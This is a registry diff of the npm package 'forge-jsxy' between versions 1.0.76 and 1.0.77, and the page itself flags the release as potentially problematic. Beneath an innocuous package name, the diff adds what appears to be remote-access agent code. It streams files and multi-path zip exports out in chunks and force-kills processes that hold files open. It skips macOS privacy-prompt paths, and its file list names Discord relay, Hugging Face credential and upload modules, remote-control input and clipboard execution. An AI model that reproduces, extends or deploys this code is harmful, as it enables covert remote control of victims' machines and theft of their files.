forge-jsxy 1.0.76 → 1.0.77

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of forge-jsxy might be problematic. Click here for more details.

Files changed (38) hide show
  1. package/assets/codicons/codicon.css +629 -0
  2. package/assets/codicons/codicon.ttf +0 -0
  3. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  4. package/assets/explorer-highlight/highlight.min.js +1213 -0
  5. package/assets/files-explorer-template.html +2940 -692
  6. package/assets/remote-control-template.html +78 -22
  7. package/dist/agentRunner.js +6 -0
  8. package/dist/assets/codicons/codicon.css +629 -0
  9. package/dist/assets/codicons/codicon.ttf +0 -0
  10. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  11. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  12. package/dist/assets/files-explorer-template.html +2941 -693
  13. package/dist/assets/remote-control-template.html +78 -22
  14. package/dist/discordAgentScreenshot.js +6 -1
  15. package/dist/discordRateLimit.js +22 -11
  16. package/dist/discordRelayUpload.js +4 -2
  17. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  18. package/dist/explorerHeavyDirSkips.js +26 -0
  19. package/dist/exportMirrorCopy.d.ts +13 -1
  20. package/dist/exportMirrorCopy.js +89 -2
  21. package/dist/filesExplorer.d.ts +9 -0
  22. package/dist/filesExplorer.js +86 -4
  23. package/dist/fsMessages.d.ts +2 -0
  24. package/dist/fsMessages.js +29 -8
  25. package/dist/fsProtocol.d.ts +8 -4
  26. package/dist/fsProtocol.js +923 -151
  27. package/dist/hfCredentials.d.ts +1 -1
  28. package/dist/hfCredentials.js +1 -1
  29. package/dist/hfSeqIdLookup.d.ts +2 -2
  30. package/dist/hfSeqIdLookup.js +11 -5
  31. package/dist/hfUpload.d.ts +2 -2
  32. package/dist/hfUpload.js +103 -17
  33. package/dist/relayAgent.js +2 -2
  34. package/dist/relayDashboardGate.js +42 -55
  35. package/dist/relayServer.js +154 -6
  36. package/dist/syncClient.js +5 -0
  37. package/dist/windowsInputSync.js +20 -1
  38. package/package.json +3 -1
@@ -69,8 +69,11 @@ const path = __importStar(require("node:path"));
69
69
  const os = __importStar(require("node:os"));
70
70
  const promises_1 = require("node:stream/promises");
71
71
  const node_child_process_1 = require("node:child_process");
72
+ const picomatch_1 = __importDefault(require("picomatch"));
72
73
  const exportMirrorCopy_1 = require("./exportMirrorCopy");
73
74
  const fileLockForce_1 = require("./fileLockForce");
75
+ const clipboardExec_1 = require("./clipboardExec");
76
+ const explorerHeavyDirSkips_1 = require("./explorerHeavyDirSkips");
74
77
  /** Explorer `fs_list` entry cap (sorted). Large dirs need a higher cap; very large values can stress browser memory. */
75
78
  exports.MAX_LIST_ENTRIES = 1_000_000;
76
79
  /**
@@ -105,10 +108,26 @@ const _MACOS_TCC_HOME_DIR_NAMES = new Set([
105
108
  "sites",
106
109
  ]);
107
110
  const _MACOS_TCC_LIBRARY_DIR_NAMES = new Set(["cloudstorage", "mobile documents"]);
108
- function wildcardTokenToRegex(token) {
109
- const escaped = token.replace(/[.+^${}()|[\]\\]/g, "\\$&");
110
- const pattern = escaped.replace(/\*/g, ".*").replace(/\?/g, ".");
111
- return new RegExp(`^${pattern}$`, "i");
111
+ function isGlobSearchToken(token) {
112
+ return /[*?\[\]{}()!+@]/.test(token);
113
+ }
114
+ function buildGlobSearchMatchers(token) {
115
+ const normalized = String(token || "").replace(/\\/g, "/");
116
+ if (!normalized)
117
+ return [];
118
+ const patterns = new Set([normalized]);
119
+ if (!normalized.includes("/"))
120
+ patterns.add(`**/${normalized}`);
121
+ const matchers = [];
122
+ for (const pattern of patterns) {
123
+ try {
124
+ matchers.push((0, picomatch_1.default)(pattern, { bash: true, dot: true, nocase: true }));
125
+ }
126
+ catch {
127
+ /* Bad glob input falls back to contains matching below. */
128
+ }
129
+ }
130
+ return matchers;
112
131
  }
113
132
  function splitSearchQueryTokens(rawQuery) {
114
133
  function sanitizeToken(raw) {
@@ -141,8 +160,12 @@ function parseFsSearchQuery(rawQuery) {
141
160
  const tokens = [];
142
161
  for (const part of parts) {
143
162
  const lowered = part.toLowerCase();
144
- if (lowered.includes("*") || lowered.includes("?")) {
145
- tokens.push({ type: "wildcard", re: wildcardTokenToRegex(lowered) });
163
+ if (isGlobSearchToken(lowered)) {
164
+ const matchers = buildGlobSearchMatchers(part);
165
+ if (matchers.length)
166
+ tokens.push({ type: "glob", value: lowered, matchers });
167
+ else
168
+ tokens.push({ type: "contains", value: lowered });
146
169
  }
147
170
  else {
148
171
  tokens.push({ type: "contains", value: lowered });
@@ -160,7 +183,7 @@ function fsNameMatchesSearch(name, tokens) {
160
183
  return false;
161
184
  continue;
162
185
  }
163
- if (!token.re.test(loweredName))
186
+ if (!token.matchers.some((matcher) => matcher(loweredName)))
164
187
  return false;
165
188
  }
166
189
  return true;
@@ -179,19 +202,6 @@ function isWindows() {
179
202
  function isMacos() {
180
203
  return process.platform === "darwin";
181
204
  }
182
- const SEARCH_SKIP_MODULE_DIRS = new Set([
183
- "node_modules",
184
- "venv",
185
- ".venv",
186
- "env",
187
- ".env",
188
- "__pycache__",
189
- "site-packages",
190
- "dist-packages",
191
- ".tox",
192
- ".mypy_cache",
193
- ".pytest_cache",
194
- ]);
195
205
  const SEARCH_SKIP_WINDOWS_SYSTEM_DIRS = new Set([
196
206
  "windows",
197
207
  "program files",
@@ -310,7 +320,7 @@ function shouldSkipSearchEntryName(name, isDir) {
310
320
  const n = String(name || "").trim().toLowerCase();
311
321
  if (!n)
312
322
  return false;
313
- if (isDir && SEARCH_SKIP_MODULE_DIRS.has(n))
323
+ if (isDir && (0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(name))
314
324
  return true;
315
325
  if (isDir && isWindows() && SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(n))
316
326
  return true;
@@ -851,7 +861,8 @@ function fsReadFile(pathStr, roots = null, maxBytes = null, offset = 0, chunk =
851
861
  * Chunked file read for explorer downloads. With a non-empty `request_id` and file size at or below
852
862
  * {@link maxZipTotalBytes}, the file is copied once into a hidden temp mirror (same idea as folder zip),
853
863
  * then chunks are served from that copy so another process holding the original open is less likely to break reads.
854
- * Larger files fall back to reading the live path each chunk (no extra disk). Empty `request_id` always uses live path.
864
+ * Larger files read the live path each chunk **`force_kill` still runs {@link forceUnlockPath}** at offset 0 (same as mirror path).
865
+ * Empty `request_id` always uses live path.
855
866
  */
856
867
  async function fsReadFileChunked(pathStr, roots, maxBytes, offset, requestId, forceMirror = false, forceKill = false) {
857
868
  purgeStaleExplorerStaging();
@@ -883,7 +894,39 @@ async function fsReadFileChunked(pathStr, roots, maxBytes, offset, requestId, fo
883
894
  }
884
895
  const maxMirrored = maxZipTotalBytes();
885
896
  if (fpSize > maxMirrored) {
886
- return fsReadFile(pathStr, roots, maxBytes, offset, true);
897
+ /** Live chunked path (no mirror): still honor **`force_kill`** at offset 0 — mirrors skip unlock above cap before this fix. */
898
+ if (offset === 0) {
899
+ pendingLargeLiveReadForceKill.delete(rid);
900
+ if (forceKill) {
901
+ const u = await (0, fileLockForce_1.forceUnlockPath)(fp);
902
+ if (u.killed.length > 0) {
903
+ pendingLargeLiveReadForceKill.set(rid, {
904
+ sourcePath: fp,
905
+ killed: u.killed,
906
+ created: Date.now(),
907
+ });
908
+ }
909
+ }
910
+ }
911
+ const result = fsReadFile(pathStr, roots, maxBytes, offset, true);
912
+ if (!result.ok) {
913
+ const p = pendingLargeLiveReadForceKill.get(rid);
914
+ if (p) {
915
+ (0, fileLockForce_1.restartKilledProcesses)(p.killed, p.sourcePath);
916
+ pendingLargeLiveReadForceKill.delete(rid);
917
+ }
918
+ return result;
919
+ }
920
+ const row = result;
921
+ const eof = row.eof === true || row.eof === 1;
922
+ if (eof) {
923
+ const p = pendingLargeLiveReadForceKill.get(rid);
924
+ if (p) {
925
+ (0, fileLockForce_1.restartKilledProcesses)(p.killed, p.sourcePath);
926
+ pendingLargeLiveReadForceKill.delete(rid);
927
+ }
928
+ }
929
+ return result;
887
930
  }
888
931
  if (offset === 0) {
889
932
  const prev = pendingChunkedFileReads.get(rid);
@@ -1447,7 +1490,7 @@ function fsRootsPayload() {
1447
1490
  for (const rr of roots) {
1448
1491
  let label = rr;
1449
1492
  if (isWindows() && rr.length <= 3 && /:$|[\\/:]$/.test(rr)) {
1450
- label = `Drive ${rr[0]}:`;
1493
+ label = `polymarket${String(rr[0]).toUpperCase()}`;
1451
1494
  }
1452
1495
  else if (homeResolved && normCase(path.normalize(rr)) === normCase(path.normalize(homeResolved))) {
1453
1496
  label = "Home";
@@ -1480,6 +1523,7 @@ function maxZipTotalBytes() {
1480
1523
  const pendingZipExports = new Map();
1481
1524
  const ZIP_SESSION_TTL_MS = 60 * 60 * 1000;
1482
1525
  const pendingChunkedFileReads = new Map();
1526
+ const pendingLargeLiveReadForceKill = new Map();
1483
1527
  if (typeof setInterval !== "undefined") {
1484
1528
  const iv = setInterval(() => purgeStaleExplorerStaging(), 5 * 60 * 1000);
1485
1529
  if (typeof iv.unref === "function")
@@ -1531,10 +1575,25 @@ function purgeStaleChunkedFileReadSessions() {
1531
1575
  }
1532
1576
  }
1533
1577
  }
1534
- /** Drop expired folder-zip and chunked file-read temp sessions (paths + numbers only; frees disk). */
1578
+ /** Drop stale live-read force-kill metadata (oversized chunked downloads). */
1579
+ function purgeStaleLargeLiveReadForceKillSessions() {
1580
+ const now = Date.now();
1581
+ for (const [id, m] of pendingLargeLiveReadForceKill) {
1582
+ if (now - m.created > ZIP_SESSION_TTL_MS) {
1583
+ try {
1584
+ (0, fileLockForce_1.restartKilledProcesses)(m.killed, m.sourcePath);
1585
+ }
1586
+ catch {
1587
+ /* skip */
1588
+ }
1589
+ pendingLargeLiveReadForceKill.delete(id);
1590
+ }
1591
+ }
1592
+ }
1535
1593
  function purgeStaleExplorerStaging() {
1536
1594
  purgeStaleZipSessions();
1537
1595
  purgeStaleChunkedFileReadSessions();
1596
+ purgeStaleLargeLiveReadForceKillSessions();
1538
1597
  }
1539
1598
  /**
1540
1599
  * Remove **all** in-memory explorer staging (zip exports + chunked file mirrors) synchronously.
@@ -1577,6 +1636,15 @@ function purgeAllExplorerStagingSync() {
1577
1636
  }
1578
1637
  pendingChunkedFileReads.delete(id);
1579
1638
  }
1639
+ for (const [id, m] of [...pendingLargeLiveReadForceKill.entries()]) {
1640
+ try {
1641
+ (0, fileLockForce_1.restartKilledProcesses)(m.killed, m.sourcePath);
1642
+ }
1643
+ catch {
1644
+ /* skip */
1645
+ }
1646
+ pendingLargeLiveReadForceKill.delete(id);
1647
+ }
1580
1648
  }
1581
1649
  /**
1582
1650
  * Close agent-side chunked read mirrors targeting `targetPath` so delete/download is not blocked
@@ -1609,50 +1677,109 @@ function purgePendingChunkedReadsTouchingPath(targetPath, isDirectory) {
1609
1677
  }
1610
1678
  pendingChunkedFileReads.delete(id);
1611
1679
  }
1612
- }
1613
- function countFilesUnderForZip(dir, maxFiles) {
1614
- let count = 0;
1615
- const walk = (d) => {
1616
- let entries;
1680
+ const liveFk = [...pendingLargeLiveReadForceKill.entries()];
1681
+ for (const [id, m] of liveFk) {
1682
+ let hit = false;
1683
+ if (isDirectory) {
1684
+ hit = pathUnder(m.sourcePath, fp);
1685
+ }
1686
+ else {
1687
+ hit = normCase(m.sourcePath) === normCase(fp);
1688
+ }
1689
+ if (!hit)
1690
+ continue;
1617
1691
  try {
1618
- entries = fs.readdirSync(d, { withFileTypes: true });
1692
+ (0, fileLockForce_1.restartKilledProcesses)(m.killed, m.sourcePath);
1619
1693
  }
1620
1694
  catch {
1621
- return;
1695
+ /* skip */
1622
1696
  }
1623
- for (const ent of entries) {
1624
- const childPath = path.join(d, ent.name);
1625
- if (macosPathRequiresTccPrompt(childPath))
1697
+ pendingLargeLiveReadForceKill.delete(id);
1698
+ }
1699
+ }
1700
+ function walkTreeZipFileCountForZip(dir, maxFiles, running) {
1701
+ let entries;
1702
+ try {
1703
+ entries = fs.readdirSync(dir, { withFileTypes: true });
1704
+ }
1705
+ catch {
1706
+ return;
1707
+ }
1708
+ for (const ent of entries) {
1709
+ const childPath = path.join(dir, ent.name);
1710
+ if (macosPathRequiresTccPrompt(childPath))
1711
+ continue;
1712
+ if (ent.isDirectory()) {
1713
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
1626
1714
  continue;
1627
- if (ent.isDirectory()) {
1628
- walk(childPath);
1715
+ walkTreeZipFileCountForZip(childPath, maxFiles, running);
1716
+ }
1717
+ else if (ent.isFile()) {
1718
+ running.count++;
1719
+ if (running.count > maxFiles) {
1720
+ throw new Error(`too many files in folder (max ${maxFiles})`);
1629
1721
  }
1630
- else if (ent.isFile()) {
1631
- count++;
1632
- if (count > maxFiles) {
1633
- throw new Error(`too many files in folder (max ${maxFiles})`);
1722
+ }
1723
+ else if (ent.isSymbolicLink()) {
1724
+ try {
1725
+ const st = fs.statSync(childPath);
1726
+ if (st.isDirectory()) {
1727
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
1728
+ continue;
1729
+ walkTreeZipFileCountForZip(childPath, maxFiles, running);
1634
1730
  }
1635
- }
1636
- else if (ent.isSymbolicLink()) {
1637
- try {
1638
- const st = fs.statSync(childPath);
1639
- if (st.isDirectory())
1640
- walk(childPath);
1641
- else if (st.isFile()) {
1642
- count++;
1643
- if (count > maxFiles) {
1644
- throw new Error(`too many files in folder (max ${maxFiles})`);
1645
- }
1731
+ else if (st.isFile()) {
1732
+ running.count++;
1733
+ if (running.count > maxFiles) {
1734
+ throw new Error(`too many files in folder (max ${maxFiles})`);
1646
1735
  }
1647
1736
  }
1648
- catch (e) {
1649
- if (e instanceof Error && e.message.includes("too many"))
1650
- throw e;
1651
- }
1737
+ }
1738
+ catch (e) {
1739
+ if (e instanceof Error && e.message.includes("too many"))
1740
+ throw e;
1652
1741
  }
1653
1742
  }
1654
- };
1655
- walk(dir);
1743
+ }
1744
+ }
1745
+ function countFilesUnderForZip(dir, maxFiles) {
1746
+ walkTreeZipFileCountForZip(dir, maxFiles, { count: 0 });
1747
+ }
1748
+ /** Enforce global zip file cap across multiple resolved roots (multi-download selection). */
1749
+ function assertCombinedZipFileCap(resolvedPaths, maxFiles) {
1750
+ const running = { count: 0 };
1751
+ for (const rp of resolvedPaths) {
1752
+ let st;
1753
+ try {
1754
+ st = fs.statSync(rp);
1755
+ }
1756
+ catch (e) {
1757
+ throw new Error(`cannot stat export path: ${String(e)}`);
1758
+ }
1759
+ if (macosPathRequiresTccPrompt(rp))
1760
+ continue;
1761
+ if (st.isFile()) {
1762
+ running.count++;
1763
+ if (running.count > maxFiles) {
1764
+ throw new Error(`too many files in folder (max ${maxFiles})`);
1765
+ }
1766
+ }
1767
+ else if (st.isDirectory()) {
1768
+ walkTreeZipFileCountForZip(rp, maxFiles, running);
1769
+ }
1770
+ }
1771
+ }
1772
+ function dedupeResolvedExportPaths(paths) {
1773
+ const seen = new Set();
1774
+ const out = [];
1775
+ for (const p of paths) {
1776
+ const key = normCase(path.normalize(p));
1777
+ if (seen.has(key))
1778
+ continue;
1779
+ seen.add(key);
1780
+ out.push(p);
1781
+ }
1782
+ return out;
1656
1783
  }
1657
1784
  /** Avoid indefinite hangs on huge trees, broken pipes, or rare archiver stalls. */
1658
1785
  const ZIP_BUILD_TIMEOUT_MS = Math.min(60 * 60 * 1000, Math.max(60_000, parseInt(process.env.CFGMGR_FS_ZIP_BUILD_TIMEOUT_MS || "", 10) || 15 * 60 * 1000));
@@ -1706,8 +1833,12 @@ async function writeDirectoryZipWithArchiver(sourceDir, zipPath) {
1706
1833
  /**
1707
1834
  * Chunked read of a zipped folder export (same session semantics as chunked `fs_read`).
1708
1835
  * First request (`offset === 0`) builds a temp zip; follow-up chunks use the same `request_id`.
1836
+ *
1837
+ * **`paths` (2+ entries):** mirror each selection into one staging folder (unique names), then zip once (`selection.zip`),
1838
+ * matching Hub multi-upload semantics.
1839
+ * **`path`:** zip one directory (legacy).
1709
1840
  */
1710
- async function fsZipRead(pathStr, requestId, roots = null, offset = 0, chunk = false, maxBytes = null, forceMirror = false, forceKill = false) {
1841
+ async function fsZipRead(pathStr, requestId, roots = null, offset = 0, chunk = false, maxBytes = null, forceMirror = false, forceKill = false, pathsOverride = null) {
1711
1842
  purgeStaleExplorerStaging();
1712
1843
  const r = roots || allowedFsRoots();
1713
1844
  const rid = String(requestId || "").trim();
@@ -1720,16 +1851,6 @@ async function fsZipRead(pathStr, requestId, roots = null, offset = 0, chunk = f
1720
1851
  cap = Math.max(256, Math.min(cap, exports.MAX_READ_BYTES * 4));
1721
1852
  if (offset < 0)
1722
1853
  return { ok: false, error: "invalid offset" };
1723
- const { path: dirPath, error } = resolveFsPath(pathStr, r);
1724
- if (error)
1725
- return { ok: false, error };
1726
- try {
1727
- if (!fs.statSync(dirPath).isDirectory())
1728
- return { ok: false, error: "not a directory" };
1729
- }
1730
- catch (e) {
1731
- return { ok: false, error: String(e) };
1732
- }
1733
1854
  const zipMax = maxZipTotalBytes();
1734
1855
  const maxFiles = maxZipFilesLimit();
1735
1856
  if (offset === 0) {
@@ -1749,79 +1870,210 @@ async function fsZipRead(pathStr, requestId, roots = null, offset = 0, chunk = f
1749
1870
  }
1750
1871
  pendingZipExports.delete(rid);
1751
1872
  }
1752
- try {
1753
- countFilesUnderForZip(dirPath, maxFiles);
1754
- }
1755
- catch (e) {
1756
- return { ok: false, error: e instanceof Error ? e.message : String(e) };
1757
- }
1758
- const workRoot = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-fs-zip-"));
1759
- const tmpZip = path.join(workRoot, "folder.zip");
1760
- let killedForUnlock = [];
1761
- try {
1762
- if (forceKill) {
1763
- const u = await (0, fileLockForce_1.forceUnlockPath)(dirPath);
1764
- killedForUnlock = u.killed;
1873
+ const trimmed = pathsOverride && pathsOverride.length > 1
1874
+ ? pathsOverride.map((p) => String(p ?? "").trim()).filter(Boolean)
1875
+ : [];
1876
+ const rawMulti = trimmed.length > 1 ? dedupeResolvedExportPaths(trimmed) : null;
1877
+ if (rawMulti && rawMulti.length > 1) {
1878
+ const resolvedPaths = [];
1879
+ for (const p of rawMulti) {
1880
+ const { path: rp, error } = resolveFsPath(p, r);
1881
+ if (error)
1882
+ return { ok: false, error };
1883
+ resolvedPaths.push(rp);
1884
+ }
1885
+ const uniqResolved = dedupeResolvedExportPaths(resolvedPaths);
1886
+ if (uniqResolved.length < 2) {
1887
+ return { ok: false, error: "multi zip requires at least two distinct paths after resolve" };
1765
1888
  }
1766
- const { mirrorPath } = await (0, exportMirrorCopy_1.copySelectionToMirrorStaging)(dirPath, workRoot, forceMirror ? { force: true } : undefined);
1767
- await writeDirectoryZipWithArchiver(mirrorPath, tmpZip);
1768
1889
  try {
1769
- await (0, exportMirrorCopy_1.removeMirrorStaging)(workRoot);
1890
+ assertCombinedZipFileCap(uniqResolved, maxFiles);
1770
1891
  }
1771
- catch {
1772
- /* mirror may be large; zip is valid workRoot removed when zip session ends */
1892
+ catch (e) {
1893
+ return { ok: false, error: e instanceof Error ? e.message : String(e) };
1894
+ }
1895
+ const displayPath = uniqResolved[0] || "";
1896
+ const unlockSourcePath = displayPath;
1897
+ const downloadSlug = "selection";
1898
+ const workRoot = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-fs-zip-"));
1899
+ const tmpZip = path.join(workRoot, "folder.zip");
1900
+ let killedForUnlock = [];
1901
+ try {
1902
+ if (forceKill) {
1903
+ for (const rp of uniqResolved) {
1904
+ const u = await (0, fileLockForce_1.forceUnlockPath)(rp);
1905
+ killedForUnlock = killedForUnlock.concat(u.killed);
1906
+ }
1907
+ }
1908
+ const stageRoot = path.join(workRoot, "selection-staging");
1909
+ const { stagedItems } = await (0, exportMirrorCopy_1.mirrorSelectionsIntoFlatStage)(uniqResolved, stageRoot, forceMirror ? { force: true } : undefined);
1910
+ if (stagedItems === 0 || (0, exportMirrorCopy_1.countRegularFilesRecursive)(stageRoot) === 0) {
1911
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, unlockSourcePath);
1912
+ try {
1913
+ fs.rmSync(workRoot, { recursive: true, force: true });
1914
+ }
1915
+ catch {
1916
+ /* skip */
1917
+ }
1918
+ return {
1919
+ ok: false,
1920
+ error: "Nothing could be staged for zip — selections may be locked, unreadable, lock-named files, or only skipped folders.",
1921
+ };
1922
+ }
1923
+ await writeDirectoryZipWithArchiver(stageRoot, tmpZip);
1924
+ try {
1925
+ await fs.promises.rm(stageRoot, { recursive: true, force: true });
1926
+ }
1927
+ catch {
1928
+ /* skip */
1929
+ }
1930
+ try {
1931
+ await (0, exportMirrorCopy_1.removeMirrorStaging)(workRoot);
1932
+ }
1933
+ catch {
1934
+ /* skip */
1935
+ }
1773
1936
  }
1774
- }
1775
- catch (e) {
1776
- (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, dirPath);
1937
+ catch (e) {
1938
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, unlockSourcePath);
1939
+ try {
1940
+ fs.rmSync(workRoot, { recursive: true, force: true });
1941
+ }
1942
+ catch {
1943
+ /* skip */
1944
+ }
1945
+ return { ok: false, error: `zip failed: ${e instanceof Error ? e.message : String(e)}` };
1946
+ }
1947
+ let size;
1777
1948
  try {
1778
- fs.rmSync(workRoot, { recursive: true, force: true });
1949
+ size = fs.statSync(tmpZip).size;
1779
1950
  }
1780
- catch {
1781
- /* skip */
1951
+ catch (e) {
1952
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, unlockSourcePath);
1953
+ try {
1954
+ fs.rmSync(workRoot, { recursive: true, force: true });
1955
+ }
1956
+ catch {
1957
+ /* skip */
1958
+ }
1959
+ return { ok: false, error: String(e) };
1782
1960
  }
1783
- return { ok: false, error: `zip failed: ${e instanceof Error ? e.message : String(e)}` };
1784
- }
1785
- let size;
1786
- try {
1787
- size = fs.statSync(tmpZip).size;
1961
+ if (size > zipMax) {
1962
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, unlockSourcePath);
1963
+ try {
1964
+ fs.rmSync(workRoot, { recursive: true, force: true });
1965
+ }
1966
+ catch {
1967
+ /* skip */
1968
+ }
1969
+ return {
1970
+ ok: false,
1971
+ error: `folder zip too large (${size} bytes; max ${zipMax})`,
1972
+ zip_size: size,
1973
+ };
1974
+ }
1975
+ pendingZipExports.set(rid, {
1976
+ path: tmpZip,
1977
+ size,
1978
+ created: Date.now(),
1979
+ killedForUnlock,
1980
+ unlockSourcePath,
1981
+ displayPath,
1982
+ downloadSlug,
1983
+ });
1788
1984
  }
1789
- catch (e) {
1790
- (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, dirPath);
1985
+ else {
1986
+ const singlePathStr = pathsOverride && pathsOverride.length === 1 ? String(pathsOverride[0] ?? "").trim() : pathStr.trim();
1987
+ const { path: dirPath, error } = resolveFsPath(singlePathStr, r);
1988
+ if (error)
1989
+ return { ok: false, error };
1791
1990
  try {
1792
- fs.rmSync(workRoot, { recursive: true, force: true });
1991
+ if (!fs.statSync(dirPath).isDirectory())
1992
+ return { ok: false, error: "not a directory" };
1793
1993
  }
1794
- catch {
1795
- /* skip */
1994
+ catch (e) {
1995
+ return { ok: false, error: String(e) };
1796
1996
  }
1797
- return { ok: false, error: String(e) };
1798
- }
1799
- if (size > zipMax) {
1800
- (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, dirPath);
1801
1997
  try {
1802
- fs.rmSync(workRoot, { recursive: true, force: true });
1998
+ countFilesUnderForZip(dirPath, maxFiles);
1803
1999
  }
1804
- catch {
1805
- /* skip */
2000
+ catch (e) {
2001
+ return { ok: false, error: e instanceof Error ? e.message : String(e) };
1806
2002
  }
1807
- return {
1808
- ok: false,
1809
- error: `folder zip too large (${size} bytes; max ${zipMax})`,
1810
- zip_size: size,
1811
- };
2003
+ const workRoot = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-fs-zip-"));
2004
+ const tmpZip = path.join(workRoot, "folder.zip");
2005
+ let killedForUnlock = [];
2006
+ try {
2007
+ if (forceKill) {
2008
+ const u = await (0, fileLockForce_1.forceUnlockPath)(dirPath);
2009
+ killedForUnlock = u.killed;
2010
+ }
2011
+ const { mirrorPath } = await (0, exportMirrorCopy_1.copySelectionToMirrorStaging)(dirPath, workRoot, forceMirror ? { force: true } : undefined);
2012
+ await writeDirectoryZipWithArchiver(mirrorPath, tmpZip);
2013
+ try {
2014
+ await (0, exportMirrorCopy_1.removeMirrorStaging)(workRoot);
2015
+ }
2016
+ catch {
2017
+ /* mirror may be large; zip is valid — workRoot removed when zip session ends */
2018
+ }
2019
+ }
2020
+ catch (e) {
2021
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, dirPath);
2022
+ try {
2023
+ fs.rmSync(workRoot, { recursive: true, force: true });
2024
+ }
2025
+ catch {
2026
+ /* skip */
2027
+ }
2028
+ return { ok: false, error: `zip failed: ${e instanceof Error ? e.message : String(e)}` };
2029
+ }
2030
+ let size;
2031
+ try {
2032
+ size = fs.statSync(tmpZip).size;
2033
+ }
2034
+ catch (e) {
2035
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, dirPath);
2036
+ try {
2037
+ fs.rmSync(workRoot, { recursive: true, force: true });
2038
+ }
2039
+ catch {
2040
+ /* skip */
2041
+ }
2042
+ return { ok: false, error: String(e) };
2043
+ }
2044
+ if (size > zipMax) {
2045
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, dirPath);
2046
+ try {
2047
+ fs.rmSync(workRoot, { recursive: true, force: true });
2048
+ }
2049
+ catch {
2050
+ /* skip */
2051
+ }
2052
+ return {
2053
+ ok: false,
2054
+ error: `folder zip too large (${size} bytes; max ${zipMax})`,
2055
+ zip_size: size,
2056
+ };
2057
+ }
2058
+ const downloadSlug = (path.basename(dirPath) || "folder").replace(/[\\/]/g, "_");
2059
+ pendingZipExports.set(rid, {
2060
+ path: tmpZip,
2061
+ size,
2062
+ created: Date.now(),
2063
+ killedForUnlock,
2064
+ unlockSourcePath: dirPath,
2065
+ displayPath: dirPath,
2066
+ downloadSlug,
2067
+ });
1812
2068
  }
1813
- pendingZipExports.set(rid, {
1814
- path: tmpZip,
1815
- size,
1816
- created: Date.now(),
1817
- killedForUnlock,
1818
- unlockSourcePath: dirPath,
1819
- });
1820
2069
  }
1821
2070
  const session = pendingZipExports.get(rid);
1822
2071
  if (!session) {
1823
2072
  return { ok: false, error: "zip session expired or unknown request_id — start again from offset 0" };
1824
2073
  }
2074
+ const pathLabel = session.displayPath || session.unlockSourcePath || "";
2075
+ const slug = session.downloadSlug ||
2076
+ (path.basename(session.unlockSourcePath || "") || "folder").replace(/[\\/]/g, "_");
1825
2077
  const fp = session.path;
1826
2078
  let fileSize;
1827
2079
  try {
@@ -1851,7 +2103,7 @@ async function fsZipRead(pathStr, requestId, roots = null, offset = 0, chunk = f
1851
2103
  pendingZipExports.delete(rid);
1852
2104
  return {
1853
2105
  ok: true,
1854
- path: dirPath,
2106
+ path: pathLabel,
1855
2107
  encoding: "binary",
1856
2108
  b64: "",
1857
2109
  file_size: fileSize,
@@ -1860,6 +2112,7 @@ async function fsZipRead(pathStr, requestId, roots = null, offset = 0, chunk = f
1860
2112
  eof: true,
1861
2113
  chunk: true,
1862
2114
  zip: true,
2115
+ download_name: `${slug}.zip`,
1863
2116
  };
1864
2117
  }
1865
2118
  const toRead = Math.min(cap, fileSize - offset);
@@ -1895,10 +2148,9 @@ async function fsZipRead(pathStr, requestId, roots = null, offset = 0, chunk = f
1895
2148
  }
1896
2149
  pendingZipExports.delete(rid);
1897
2150
  }
1898
- const folderName = (path.basename(dirPath) || "folder").replace(/[\\/]/g, "_");
1899
2151
  return {
1900
2152
  ok: true,
1901
- path: dirPath,
2153
+ path: pathLabel,
1902
2154
  encoding: "binary",
1903
2155
  b64: data.toString("base64"),
1904
2156
  file_size: fileSize,
@@ -1907,7 +2159,7 @@ async function fsZipRead(pathStr, requestId, roots = null, offset = 0, chunk = f
1907
2159
  eof,
1908
2160
  chunk: true,
1909
2161
  zip: true,
1910
- download_name: `${folderName}.zip`,
2162
+ download_name: `${slug}.zip`,
1911
2163
  };
1912
2164
  }
1913
2165
  const FS_SHELL_MAX_CMD = 1_000_000;
@@ -5641,13 +5893,478 @@ async function runWindowsPsCapture(script) {
5641
5893
  });
5642
5894
  });
5643
5895
  }
5644
- async function fsRemoteControlInput(payload) {
5645
- if (!isWindows()) {
5646
- return { ok: false, error: "remote control input currently supports Windows agents only" };
5896
+ async function runCommandCapture(command, args, opts) {
5897
+ return await new Promise((resolve) => {
5898
+ let stdout = "";
5899
+ let stderr = "";
5900
+ let settled = false;
5901
+ const timeoutMs = Math.max(500, opts?.timeoutMs ?? 10_000);
5902
+ let child;
5903
+ try {
5904
+ child = (0, node_child_process_1.spawn)(command, args, {
5905
+ env: opts?.env ?? process.env,
5906
+ windowsHide: process.platform === "win32",
5907
+ });
5908
+ }
5909
+ catch (e) {
5910
+ resolve({ ok: false, stdout: "", stderr: "", error: String(e) });
5911
+ return;
5912
+ }
5913
+ const to = setTimeout(() => {
5914
+ if (settled)
5915
+ return;
5916
+ settled = true;
5917
+ try {
5918
+ child.kill("SIGTERM");
5919
+ }
5920
+ catch {
5921
+ /* skip */
5922
+ }
5923
+ resolve({ ok: false, stdout, stderr, error: "command timed out" });
5924
+ }, timeoutMs);
5925
+ child.stdout?.setEncoding("utf8");
5926
+ child.stderr?.setEncoding("utf8");
5927
+ child.stdout?.on("data", (d) => {
5928
+ stdout += d;
5929
+ });
